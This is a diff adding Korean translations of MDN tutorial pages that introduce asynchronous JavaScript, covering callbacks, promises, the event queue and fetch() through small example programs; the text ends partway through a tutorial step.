+<p>Async callbacks은 백그라운드에서 코드 실행을 시작할 함수를 호출할 때 인수로 지정된 함수입니다. 백그라운드 코드 실행이 끝나면 callback 함수를 호출하여 작업이 완료됐음을 알리거나, 다음 작업을 실행하게 할 수 있습니다. callbacks을 사용하는 것은 지금은 약간 구식이지만, 여전히 다른 곳에서 사용이 되고있음을 확인할 수 있습니다.</p>
+
+<p>Async callback 의 예시는 {{domxref("EventTarget.addEventListener", "addEventListener()")}} 'click' 옆의 두 번째 매개변수 입니다. :</p>
+
+<pre class="brush: js notranslate">btn.addEventListener('click', () =&gt; {
+  alert('You clicked me!');
+
+  let pElem = document.createElement('p');
+  pElem.textContent = 'This is a newly-added paragraph.';
+  document.body.appendChild(pElem);
+});</pre>
+
+<p>첫 번째 매개 변수는 이벤트 리스너 유형이며, 두 번째 매개 변수는 이벤트가 실행 될 때 호출되는 콜백 함수입니다.</p>
+
+<p>callback 함수를 다른 함수의 인수로 전달할 때, 함수의 참조를 인수로 전달할 뿐이지 즉시 실행되지 않고, 함수의 body에서 “called back”됩니다. 정의된 함수는 때가 되면 callback 함수를 실행하는 역할을 합니다.</p>
+
+<p><a href="/en-US/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest</code> API</a> (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/xhr-async-callback.html">run it live</a>, and <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/xhr-async-callback.html">see the source</a>)를 불러오는 예제를 통해 callback 함수를 쉽게 사용해봅시다. :</p>
+
+<pre class="brush: js notranslate">function loadAsset(url, type, callback) {
+  let xhr = new XMLHttpRequest();
+  xhr.open('GET', url);
+  xhr.responseType = type;
+
+  xhr.onload = function() {
+    callback(xhr.response);
+  };
+
+  xhr.send();
+}
+
+function displayImage(blob) {
+  let objectURL = URL.createObjectURL(blob);
+
+  let image = document.createElement('img');
+  image.src = objectURL;
+  document.body.appendChild(image);
+}
+
+loadAsset('coffee.jpg', 'blob', displayImage);</pre>
+
+<p><code>displayImage()</code>함수는 Object URL로 전달되는 Blob을 전달받아, URL이 나탸내는 이미지를 만들어 <code>&lt;body&gt;</code>에 그립니다. 그러나, 우리는 <code>loadAsset()</code> 함수를 만들고 "url", "type" 그리고 "callback"을 매개변수로 받습니다. <code>XMLHttpRequest</code> (줄여서 "XHR") 를 사용하여 전달받은 URL에서 리소스를 가져온 다음 callback으로 응답을 전달하여 작업을 수행합니다. 이 경우 callback은 callback 함수로 넘어가기 전, 리소스 다운로드를 완료하기 위해 XHR 요청이 진행되는 동안 대기합니다. (<code><a href="/en-US/docs/Web/API/XMLHttpRequestEventTarget/onload">onload</a></code> 이벤트 핸들러 사용)</p>
+
+<p>Callbacks은 다재다능 합니다. 함수가 실행되는 순서, 함수간에 어떤 데이터가 전달되는지를 제어할 수 있습니다. 또한 상황에 따라 다른 함수로 데이터를 전달할 수 있습니다. 따라서 응답받은 데이터에 따라 (<code>processJSON()</code>, <code>displayText()</code>등) 어떤 작업을 수행할지 지정할 수 있습니다.</p>
+
+<p>모든 callback이 비동기인 것은 아니라는 것에 유의하세요 예를 들어 {{jsxref("Array.prototype.forEach()")}} 를 사용하여 배열의 항목을 탐색할 때가 있습니다. (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/foreach.html">see it live</a>, and <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/foreach.html">the source</a>):</p>
+
+<pre class="brush: js notranslate">const gods = ['Apollo', 'Artemis', 'Ares', 'Zeus'];
+
+gods.forEach(function (eachName, index){
+  console.log(index + '. ' + eachName);
+});</pre>
+
+<p>이 예제에선 그리스 신들의 배열을 탐색하여 인덱스 넘버와 그 값을 콘솔에 출력합니다. <code>forEach()</code> 매개변수는 callback 함수이며, callback 함수는 배열 이름과 인덱스 총 두 개의 매개변수가 있습니다. 그러나, 여기선 비동기로 처리되지 않고 즉시 실행됩니다..</p>
+
+<h2 id="Promises">Promises</h2>
+
+<p>Promises 모던 Web APIs에서 보게 될 새로운 코드 스타일 입니다. 좋은 예는 <code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch()</a></code> API 입니다. <code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch()</a></code>는 {{domxref("XMLHttpRequest")}}보다 좀 더 현대적인 버전 입니다. 아래 <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">Fetching data from the server</a> 예제에서 빠르게 살펴볼까요?  :</p>
+
+<pre class="brush: js notranslate">fetch('products.json').then(function(response) {
+  return response.json();
+}).then(function(json) {
+  products = json;
+  initialize();
+}).catch(function(err) {
+  console.log('Fetch problem: ' + err.message);
+});</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: You can find the finished version on GitHub (<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/can-store-xhr/can-script.js">see the source here</a>, and also <a href="https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store-xhr/">see it running live</a>).</p>
+</div>
+
+<p><code>fetch</code><code>()</code> 는 단일 매개변수만 전달받습니다. — 네트워크에서 가지고 오고 싶은 리소스의 URL — 그리고 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">promise</a>로 응답합니다. promise 는 비동기 작업이 성공 했는지 혹은 실패했는지를 나타내는 하나의 오브젝트 입니다. 즉 성공/실패 의 분기점이 되는 중간의 상태라고 표현할 수 있죠. 왜 promise라는 이름이 붙었는지 잠깐 살펴보자면.. "내가 할수 있는 한 빨리 너의 요청의 응답을 가지고 돌아간다고 약속(promise)할게" 라는 브라우저의 표현방식 이어서 그렇습니다.</p>
+
+<p>이 개념에 익숙해 지기 위해서는 연습이 필요합니다.; 마치 {{interwiki("wikipedia", "Schrödinger's cat")}}(슈뢰딩거의 고양이) 처럼 느껴질 수 있습니다. 위의 예제에서도 발생 가능한 결과 중 아직 아무것도 발생하지 않았기 때문에, 미래에 어떤 시점에서 <code>fetch()</code>작업이 끝났을때 어떤 작업을 수행 시키기 위해 두 가지 작업이 필요합니다. 예제에선 <code>fetch()</code> 마지막에 세 개의 코드 블럭이 더 있는데 이를 살펴보겠습니다. :</p>
+
+<ul>
+ <li>두 개의 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/then">then()</a></code> 블럭: 두 함수 모두 이전 작업이 성공했을때 수행할 작업을 나타내는 callback 함수 입니다. 그리고 각 callback함수는 인수로 이전 작업의 성공 결과를 전달받습니다. 따라서 성공했을때의 코드를 callback 함수 안에 작성하면 됩니다. 각 <code>.then()</code> 블럭은 서로 다른 promise를 반환합니다. 이 말은 <code>.then()</code> 을 여러개 사용하여 연쇄적으로 작업을 수행하게 할 수 있음을 말합니다. 따라서 여러 비동기 작업을 차례대로 수행할 수 있습니다.</li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/catch">catch()</a></code> 블럭은 <code>.then()</code> 이 하나라도 실패하면 동작합니다. — 이는 동기 방식의 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch">try...catch</a></code> 블럭과 유사합니다. error 오브젝트는 <code>catch()</code>블럭 안에서 사용할 수 있으며, 발생한 오류를 보고하는 용도로 사용할 수 있습니다. 그러나 <code>try...catch</code> 는 나중에 배울 <a href="/en-US/docs/Learn/JavaScript/Asynchronous/Async_await">async/await</a>에서는 동작하지만, promise와 함께 동작할 수 없음을 알아두세요.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: You'll learn a lot more about promises later on in the module, so don't worry if you don't understand them fully yet.</p>
+</div>
+
+<h3 id="The_event_queue">The event queue</h3>
+
+<p>promise와 같은 비동기 작업은 <strong>event queue</strong>에 들어갑니다. 그리고 main thread가 끝난 후 실행되어 후속 JavaScript 코드가 차단되는것을 방지합니다. queued 작업은 가능한 빨리 완료되어 JavaScript 환경으로 결과를 반환해줍니다.</p>
+
+<h3 id="Promises_vs_callbacks">Promises vs callbacks</h3>
+
+<p>Promises 는 old-style callbacks과 유사한 점이 있습니다. 기본적으로 callback을 함수로 전달하는 것이 아닌 callback함수를 장착하고 있는 returned된 오브젝트 입니다.</p>
+
+<p>그러나 Promise는 비동기 작업을 처리함에 있어서 old-style callbacks 보다 더 많은 이점을 가지고 있습니다. :</p>
+
+<ul>
+ <li>여러 개의 연쇄 비동기 작업을 할 때 앞서 본 예제처럼 <code>.then()</code> 을 사용하여 결과값을 다음 작업으로 넘길 수 있습니다. callbacks으로 이를 사용하려면 더 어렵습니다. 또한 "파멸의 피라미드" (<a href="http://callbackhell.com/">callback hell</a>로 잘 알려진)을 종종 마주칠 수 있습니다.</li>
+ <li>Promise callbacks은 event queue에 배치되는 엄격한 순서로 호출됩니다.</li>
+ <li>에러 처리가 더 간결해집니다. — 모든 에러를 코드 블럭의 마지막 부분에 있는 단 한개의 <code>.catch()</code> 블럭으로 처리할 수 있습니다. 이 방법은 피라미드의 각 단계에서 에러를 핸들링하는 것 보다 더 간단합니다..</li>
+ <li>구식 callback은 써드파티 라이브러리에 전달될 때 함수가 어떻게 실행되어야 하는 방법을 상실하는 반면 Promise는 그렇지 않습니다.</li>
+</ul>
+
+<h2 id="The_nature_of_asynchronous_code">The nature of asynchronous code</h2>
+
+<p>코드 실행 순서를 완전히 알지 못할 때 발생하는 현상과 비동기 코드를 동기 코드처럼 취급하려고 하는 문제를 살펴보면서 비동기 코드의 특성을 더 살펴봅시다 아래 예제는 이전에 봤던 예제와 유사합니다. (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/async-sync.html">see it live</a>, and <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/async-sync.html">the source</a>). 한가지 다른 점은 코드가 실행순서를 보여주기 위해 {{domxref("console.log()")}} 를 추가했습니다.</p>
+
+<pre class="brush: js notranslate">console.log ('Starting');
+let image;
+
+fetch('coffee.jpg').then((response) =&gt; {
+  console.log('It worked :)')
+  return response.blob();
+}).then((myBlob) =&gt; {
+  let objectURL = URL.createObjectURL(myBlob);
+  image = document.createElement('img');
+  image.src = objectURL;
+  document.body.appendChild(image);
+}).catch((error) =&gt; {
+  console.log('There has been a problem with your fetch operation: ' + error.message);
+});
+
+console.log ('All done!');</pre>
+
+<p>브라우저는 코드를 실행하기 시작할 것이고, 맨 처음 나타난 (<code>Starting</code>) 글씨가 써진 <code>console.log()</code> 후 <code>image</code> 변수를 만들 것 입니다.</p>
+
+<p>다음으로 <code>fetch()</code> block 으로 이동하여 코드를 실행하려고 할 것 입니다. <code>fetch()</code> 덕분에 blocking없이 비동기 적으로 코드가 실행되겠죠. 블럭 내에서 promise와 관련된 작업이 끝나면 다음 작업으로 이어질 것 입니다. 그리고 마지막으로 (<code>All done!</code>) 가 적혀있는 <code>console.log()</code> 에서 메시지를 출력할 것 입니다.</p>
+
+<p><code>fetch()</code> 블럭 작업이 작업을 완전히 끝내고 마지막 <code>.then()</code> 블럭에 도달해야 <code>console.log()</code> 의 (<code>It worked :)</code>) 메시지가 나타납니다. 그래서 메시지의 순서는 코드에 적혀있는 대로 차례대로 나타나는게 아니라 순서가 약간 바뀌어서 나타납니다 :</p>
+
+<ul>
+ <li>Starting</li>
+ <li>All done!</li>
+ <li>It worked :)</li>
+</ul>
+
+<p>이 예가 어렵다면 아래의 다른 예를 살펴보세요 :</p>
+
+<pre class="brush: js notranslate">console.log("registering click handler");
+
+button.addEventListener('click', () =&gt; {
+  console.log("get click");
+});
+
+console.log("all done");</pre>
+
+<p>이전 예제와 매우 유사한 예제 입니다. — 첫 번째와 세 번째<code>console.log()</code> 메시지는 콘솔창에 바로 출력됩니다. 그러나 두 번째 메시지는 누군가가 버튼을 클릭하기 전엔 콘솔에 표시되지 않죠. 위의 예제의 차이라면 두 번쩨 메시지가 어떻게 잠시 blocking이 되는지 입니다. 첫 예제는 Promise 체이닝 때문에 발생하지만 두 번째 메시지는 클릭 이벤트를 대기하느라고 발생합니다.</p>
+
+<p>less trivial 코드 예제에서 이러한 설정을 문제를 유발할 수 있습니다. — 비동기 코드 블럭에서 반환된 결과를 동기화 코드 블럭에 사용할 수 없습니다. 위의 에시에서 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">image</span></font> 변수가 그 예시 입니다. 브라우저가 동기화 코드 블럭을 처리하기 전에 비동기 코드 블럭 작업이 완료됨을 보장할 수 없습니다.</p>
+
+<p>어떤 의미인지 확인을 하려면 <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/async-sync.html">our example</a>을 컴퓨터에 복사한 후 마지막 <code>console.log()</code> 를 아래처럼 고쳐보세요:</p>
+
+<pre class="brush: js notranslate">console.log ('All done! ' + image.src + 'displayed.');</pre>
+
+<p>고치고 나면 콘솔창에서 아래와 같은 에러가 뜨는것을 확인할 수 있습니다. :</p>
+
+<pre class="notranslate"><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">TypeError: image is undefined; can't access its "src" property</span></span></span></pre>
+
+<p>브라우저가 마지막 <code>console.log()</code> 를 처리할 때, <code>fetch()</code> 블럭이 완료되지 않아 <code>image</code> 변수에 결과가 반환되지 않았기 때문입니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: For security reasons, you can't <code>fetch()</code> files from your local filesystem (or run other such operations locally); to run the above example locally you'll have to run the example through a <a href="/en-US/docs/Learn/Common_questions/set_up_a_local_testing_server">local webserver</a>.</p>
+</div>
+
+<h2 id="Active_learning_make_it_all_async!">Active learning: make it all async!</h2>
+
+<p>위의 <code>fetch()</code> 예시에서 마지막<code>console.log()</code>도 순서대로 나타나도록 고칠 수 있습니다. 마지막 <code>console.log()</code> 도 비동기로 작동시키면 됩니다. 마지막 <code>.then()</code> 블럭의 마지막에 다시 작성하거나, 새로운 블럭을 만들면 콘솔에 순서대로 나타날 것 입니다. 지금 바로 고쳐보세요!</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: If you get stuck, you can <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/async-sync-fixed.html">find an answer here</a> (see it <a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/async-sync-fixed.html">running live</a> also). You can also find a lot more information on promises in our <a href="/en-US/docs/Learn/JavaScript/Asynchronous/Promises">Graceful asynchronous programming with Promises</a> guide, later on in the module.</p>
+</div>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>In its most basic form, JavaScript is a synchronous, blocking, single-threaded language, in which only one operation can be in progress at a time. But web browsers define functions and APIs that allow us to register functions that should not be executed synchronously, and should instead be invoked asynchronously when some kind of event occurs (the passage of time, the user's interaction with the mouse, or the arrival of data over the network, for example). This means that you can let your code do several things at the same time without stopping or blocking your main thread.</p>
+
+<p>Whether we want to run code synchronously or asynchronously will depend on what we're trying to do.</p>
+
+<p>There are times when we want things to load and happen right away. For example when applying some user-defined styles to a webpage you'll want the styles to be applied as soon as possible.</p>
+
+<p>If we're running an operation that takes time however, like querying a database and using the results to populate templates, it is better to push this off the main thread and complete the task asynchronously. Over time, you'll learn when it makes more sense to choose an asynchronous technique over a synchronous one.</p>
+
+<ul>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Concepts", "Learn/JavaScript/Asynchronous/Timeouts_and_intervals", "Learn/JavaScript/Asynchronous")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Concepts">General asynchronous programming concepts</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Introducing">Introducing asynchronous JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals">Cooperative asynchronous JavaScript: Timeouts and intervals</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Promises">Graceful asynchronous programming with Promises</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Async_await">Making asynchronous programming easier with async and await</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach">Choosing the right approach</a></li>
+</ul>
diff --git a/files/ko/learn/javascript/asynchronous/promises/index.html b/files/ko/learn/javascript/asynchronous/promises/index.html
new file mode 100644
index 0000000000..bf7a5a0f04
--- /dev/null
+++ b/files/ko/learn/javascript/asynchronous/promises/index.html
@@ -0,0 +1,588 @@
+---
+title: Graceful asynchronous programming with Promises
+slug: Learn/JavaScript/Asynchronous/Promises
+translation_of: Learn/JavaScript/Asynchronous/Promises
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Timeouts_and_intervals", "Learn/JavaScript/Asynchronous/Async_await", "Learn/JavaScript/Asynchronous")}}</div>
+
+<p class="summary"><span class="seoSummary"><strong>Promises</strong> 는 이전 작업이 완료될 때 까지 다음 작업을 연기 시키거나, 작업실패를 대응할 수 있는 비교적 새로운 JavaScript 기능입니다.</span> Promise는 비동기 작업 순서가 정확하게 작동되게 도움을 줍니다. 이번 문서에선 Promise가 어떻게 동작하는지, 웹 API와 어떻게 사용할 수 있는지 그리고 직접 코드를 만들어 볼것 입니다. </p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisites:</th>
+   <td>Basic computer literacy, a reasonable understanding of JavaScript fundamentals.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objective:</th>
+   <td>To understand promises and how to use them.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="What_are_promises">What are promises?</h2>
+
+<p>앞서서 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a> 를 미리 봤지만, 지금부턴 좀더 깊이있게 들여다 볼 차례 입니다..</p>
+
+<p>Promise는 어떤 작업의 중간상태를 나타내는 오브젝트 입니다. — 미래에 어떤 종류의 결과가 반환됨을 <em>promise</em> (약속) 해주는 오브젝트라고 보면 됩니다. Promise는 작업이 완료되어 결과를 반환해주는 정확한 시간을 보장해주지는 않지만, 사용할 수 있는 결과를 반환했을때 프로그래머의 의도대로 다음 코드를 진행 시키거나, 에러가 발생했을 때 그 에러를 우아하게/깔끔하게 처리할 수 있습니다.</p>
+
+<p>일반적으로 우리는 비동기 작업이 결과를 반환하는데 얼마의 시간이 걸리는지 보다는(<em>작업 시간이 매우 오래 걸리지 않는 한</em>) 그 결과를 사용할 수 있는지 여부에 더 관심이 있습니다.  물론 나머지 코드 블럭을 막지 않는다는 것에 있어서 매우 좋습니다.</p>
+
+<p>우리가 Promise로 가장 많이 할 작업중 하나는 Promise를 반환하는 웹API를 사용하는 것 입니다. 가상의 비디오 채팅 애플리케이션이 있다고 해봅시다. 애플리케이션에는 친구 목록이 있고 각 친구 목록 옆의 버튼을 클릭하면 해당 친구와 비디오 채팅을 시작합니다.</p>
+
+<p>그 버튼은 사용자 컴퓨터의 카메라와 마이크를 사용하기 위해 {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} 를 호출합니다. <code>getUserMedia()</code> 는 사용자가 이러한 장치를 사용할 수 있는 권한을 가지고 있는지 확인해야 하고, 어떤 마이크와 카메라를 사용할 것인지 (혹은 음성 통화인지, 아니면 다른 옵션들이 있는지)를 체크해야하기 때문에 모든 결정이 내려질 때 까지 다음 작업을 차단할 수 있습니다. 또한 카메라와 마이크가 작동하기 전 까지 다음 작업을 차단할수도 있습니다.</p>
+
+<p><code>getUserMedia()</code> 는 브라우저의 main thread에서 실행되므로 <code>getUserMedia()</code> 결과가 반환되기 전 까지 후행 작업이 모두 차단됩니다. 이러한 blocking은 우리가 바라는게 아닙니다. Promise가 없으면 이러한 결정이 내려지기 전 까지 브라우저의 모든 것을 사용할 수 없게됩니다. 따라서 사용자가 선택한 장치를 활성화하고 소스에서 선택된 스트림에 대해{{domxref("MediaStream")}} 직접 반환하는 대신 <code>getUserMedia()</code> 는 모든 장치가 사용 가능한 상태가 되면 {{domxref("MediaStream")}}이 포함된 {{jsxref("promise")}}를 반환합니다.</p>
+
+<p>비디오 채팅 애플리케이션의 코드는 아래처럼 작성할 수 있습입니다. :</p>
+
+<pre class="brush: js notranslate">function handleCallButton(evt) {
+  setStatusMessage("Calling...");
+  navigator.mediaDevices.getUserMedia({video: true, audio: true})
+    .then(chatStream =&gt; {
+      selfViewElem.srcObject = chatStream;
+      chatStream.getTracks().forEach(track =&gt; myPeerConnection.addTrack(track, chatStream));
+      setStatusMessage("Connected");
+    }).catch(err =&gt; {
+      setStatusMessage("Failed to connect");
+    });
+}
+</pre>
+
+<p>이 기능은 상태 메시지에 "Calling..."을 출력하는 <code>setStatusMessage()</code> 함수로 시작하며 통화가 시도되고 있음을 나타냅니다. 그런 다음 <code>getUserMedia()</code>을 호출하여 비디오와 오디오 트랙이 모두 있는 스트림 요청을 합니다. 그리고 스트림을 획득하면 카메라에서 나오는 스트림을 "self view,"로 표시하기 위해 video엘리먼트를 설정합니다. 그리고 각 스트림의 트랙을 가져가 다른 사용자와의 연결을 나타내는 <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> {{domxref("RTCPeerConnection")}}에 추가합니다. 그리고 마지막으로 상태 메시지를 "Connected"로 업데이트 합니다.</p>
+
+<p><code>getUserMedia()</code> 가 실패하면, <code>catch</code> 블럭이 실행되며, <code>setStatusMessage()</code> 를 사용하여 상태창에 오류 메시지를 표시합니다.</p>
+
+<p>여기서 중요한건 <code>getUserMedia()</code>는 카메라 스트림이 아직 확보되지 않았음에도 거의 즉시 반환을 해줬다는 것 입니다. <code>handleCallButton()</code> 함수가 자신을 호출한 코드로 결과를 이미 반환을 했더라도 <code>getUserMedia()</code>의 작업이 종료되면 프로그래머가 작성한 다음 핸들러를 호출할 것 입니다. 앱이 스트리밍을 했다고 가정하지 않는 한 계속 실행될 수 있습니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> You can learn more about this somewhat advanced topic, if you're interested, in the article <a href="/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a>. Code similar to this, but much more complete, is used in that example.</p>
+</div>
+
+<h2 id="The_trouble_with_callbacks">The trouble with callbacks</h2>
+
+<p>Promise가 왜 좋은지 이해하기 위해 구식 callbacks을 살펴보고 어떤게 문제인지 파악 해보겠습니다.</p>
+
+<p>피자를 주문한다고 생각해봅시다. 피자를 잘 주문하려면 몇 가지 단계를 진행해야 합니다. 토핑 위에 도우를 올리고 치즈를 뿌리는 등 각 단계가 뒤죽박죽 이거나 혹은 도우를 반죽하고 있는데 그 위에 토마토소스를 바르는 등 이전 작업이 끝나지 않고 다음 작업을 진행하는 것은 말이 안 됩니다.  :</p>
+
+<ol>
+ <li>먼저 원하는 토핑을 고릅니다. 결정 장애가 심할 경우 토핑을 고르는데 오래 걸릴 수 있습니다. 또한 마음을 바꿔 피자 대신 카레를 먹으려고 가게를 나올 수 있습니다.</li>
+ <li>그다음 피자를 주문합니다. 식당이 바빠서 피자가 나오는 데 오래 걸릴 수 있고, 마침 재료가 다 떨어졌으면 피자를 만들 수 없다고 할 것 입니다.</li>
+ <li>마지막으로 피자를 받아서 먹습니다. 그런데! 만약 지갑을 놓고 와서 돈을 내지 못한다면 피자를 먹지 못할 수 있습니다.</li>
+</ol>
+
+<p>구식 <a href="/en-US/docs/Learn/JavaScript/Asynchronous/Introducing#Callbacks">callbacks</a>을 사용하면 아래와 같은 모습의 코드가 나타날것 입니다. :</p>
+
+<pre class="brush: js notranslate">chooseToppings(function(toppings) {
+  placeOrder(toppings, function(order) {
+    collectOrder(order, function(pizza) {
+      eatPizza(pizza);
+    }, failureCallback);
+  }, failureCallback);
+}, failureCallback);</pre>
+
+<p>이런 코드는 읽기도 힘들 뿐 아니라 (종종 "콜백 지옥" 이라 불림), <code>failureCallback()</code> 을 여러 번 작성해야 하며 또한 다른 문제점도 가지고 있습니다.</p>
+
+<h3 id="Improvements_with_promises">Improvements with promises</h3>
+
+<p>위의 상황에서 Promise를 사용하면 읽기, 작성, 실행 모두 다 쉬워집니다. callback 대신 비동기 Promise를 사용하면 아래처럼 작성할 수 있습니다.  :</p>
+
+<pre class="brush: js notranslate">chooseToppings()
+.then(function(toppings) {
+  return placeOrder(toppings);
+})
+.then(function(order) {
+  return collectOrder(order);
+})
+.then(function(pizza) {
+  eatPizza(pizza);
+})
+.catch(failureCallback);</pre>
+
+<p>보기에 훨씬 더 좋군요! — 이렇게 작성하면 앞으로 어떤 일이 일어날지 쉽게 예측 가능합니다. 그리고 단 한개의 <code>.catch()</code> 을 사용하여 모든 에러를 처리합니다. 그리고 main thread를 차단하지 않습니다. (그래서 피자를 주문하고 기다리는 동안 하던 게임을 마저 할 수 있습니다.), 또한 각 함수가 실행되기 전 이전 작업이 끝날때까지 기다립니다. 이런식으로 여러 개의 비동기 작업을 연쇄적으로 처리할 수 있습니다. 왜냐햐면 각 <code>.then()</code> 블럭은 자신이 속한 블럭의 작업이 끝났을 때의 결과를 새로운 Promise 반환해주기 때문입니다. 어때요, 참 쉽죠?</p>
+
+<p>화살표 함수를 사용하면 코드를 조금 더 간단하게 고칠 수 있습니다. :</p>
+
+<pre class="brush: js notranslate">chooseToppings()
+.then(toppings =&gt;
+  placeOrder(toppings)
+)
+.then(order =&gt;
+  collectOrder(order)
+)
+.then(pizza =&gt;
+  eatPizza(pizza)
+)
+.catch(failureCallback);</pre>
+
+<p>혹은 아래처럼 표현할 수 있습니다. :</p>
+
+<pre class="brush: js notranslate">chooseToppings()
+.then(toppings =&gt; placeOrder(toppings))
+.then(order =&gt; collectOrder(order))
+.then(pizza =&gt; eatPizza(pizza))
+.catch(failureCallback);</pre>
+
+<p>화살표 함수의 <code>() =&gt; x</code> 표현은 <code>() =&gt; { return x; }</code>의 약식 표현이므로 잘 작동합니다.</p>
+
+<p>함수는 arguments를 직접 전달 하므로 함수처럼 표현하지 않고 아래와 같이 작성할 수도 있습니다. :</p>
+
+<pre class="brush: js notranslate">chooseToppings().then(placeOrder).then(collectOrder).then(eatPizza).catch(failureCallback);</pre>
+
+<p>그런데 이렇게 작성하면 읽기가 쉽지 않습니다. 사용자의 코드가 지금의 예제보다 더 복잡하다면 위의 방법은 사용하기 힘듭니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: 다음 장에서 배울 <code>async</code>/<code>await</code> 문법으로 좀 더 간결화 할 수 있습니다.</p>
+</div>
+
+<p>Promise는 이벤트 리스너와 유사하지만 몇 가지 다른점이 있습니다. :</p>
+
+<ul>
+ <li>Promise는 한번에 성공/실패 중 하나의 결과값을 가집니다. 하나의 요청에 두 번 성공하고나 실패할 수 없습니다. 또한 이미 성공한 작업이 다시 실패로 돌아갈 수 없고 실패한 작업이 성공으로 돌아갈 수 없습니다.</li>
+ <li>If a promise has succeeded or failed and you later add a success/failure callback, the correct callback will be called, even though the event took place earlier.</li>
+</ul>
+
+<h2 id="Explaining_basic_promise_syntax_A_real_example">Explaining basic promise syntax: A real example</h2>
+
+<p>모던 웹 API는 잠재적으로 긴 작업을 수행하는 함수에 Promise를 사용하므로 Promise가 무엇인지 이해하는것은 매우 중요합니다. 현대적인 웹 기술을 사용하려면 Promise를 사용해야합니다. 챕터의 후반부에서 직접 Promise를 만들어보겠지만, 지금은 일단 웹 API에서 접할 수 있는 몇 가지 예제를 살펴보겠습니다.</p>
+
+<p>첫 번째로, 웹에서 이미지를 가져오기 위하여 <code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch()</a></code> 메서드를 사용할 때 입니다.{{domxref("Body.blob", "blob()")}} 메서드는 fetch가 응답한 원시 body컨텐츠를 {{domxref("Blob")}} 오브젝트로 변환시켜주고{{htmlelement("img")}} 엘리먼트에 표현합니다. 이예제는 <a href="/en-US/docs/Learn/JavaScript/Asynchronous/Introducing#Asynchronous_JavaScript">first article of the series</a>유사합니다. 다만 Promise를 사용하기 위해 약간의 변경을 하겠습니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: The following example will not work if you just run it directly from the file (i.e. via a <code>file://</code> URL). You need to run it through a <a href="/en-US/docs/Learn/Common_questions/set_up_a_local_testing_server">local testing server</a>, or use an online solution such as <a href="https://glitch.com/">Glitch</a> or <a href="/en-US/docs/Learn/Common_questions/Using_Github_pages">GitHub pages</a>.</p>
+</div>
+
+<ol>
+ <li>
+  <p>먼저 <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">simple HTML template</a> 와 fetch할 이미지인 <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/promises/coffee.jpg">sample image file</a> 을 다운받습니다.</p>
+ </li>
+ <li>
+  <p>HTML {{htmlelement("body")}} 하단에 {{htmlelement("script")}} 엘리먼트를 삽입합니다.</p>
+ </li>
+ <li>
+  <p>{{HTMLElement("script")}} 엘리먼트 안에 아래와 같이 코드를 작성합니다. :</p>
+
+  <pre class="brush: js notranslate">let promise = fetch('coffee.jpg');</pre>
+
+  <p><code>fetch()</code> 메서드를 호출하여, 네트워크에서 fetch할 이미지의 URL을 매개변수로 전달합니다. 두 번째 매개변수를 사용할 수 있지만, 지금은 우선 간단하게 하나의 매개변수만 사용하겠습니다. 코드를 더 살펴보면 <code>promise</code>변수에 <code>fetch()</code> 작업으로 반환된 Promise 오브젝트를 저장하고 있습니다. 이전에 말했듯이, 지금 오브젝트는 성공도 아니고 실패도 아닌 중간 상태를 저장하고 있습니다. 공식적으로는 <strong>pending</strong>상태라고 부릅니다.</p>
+ </li>
+ <li>
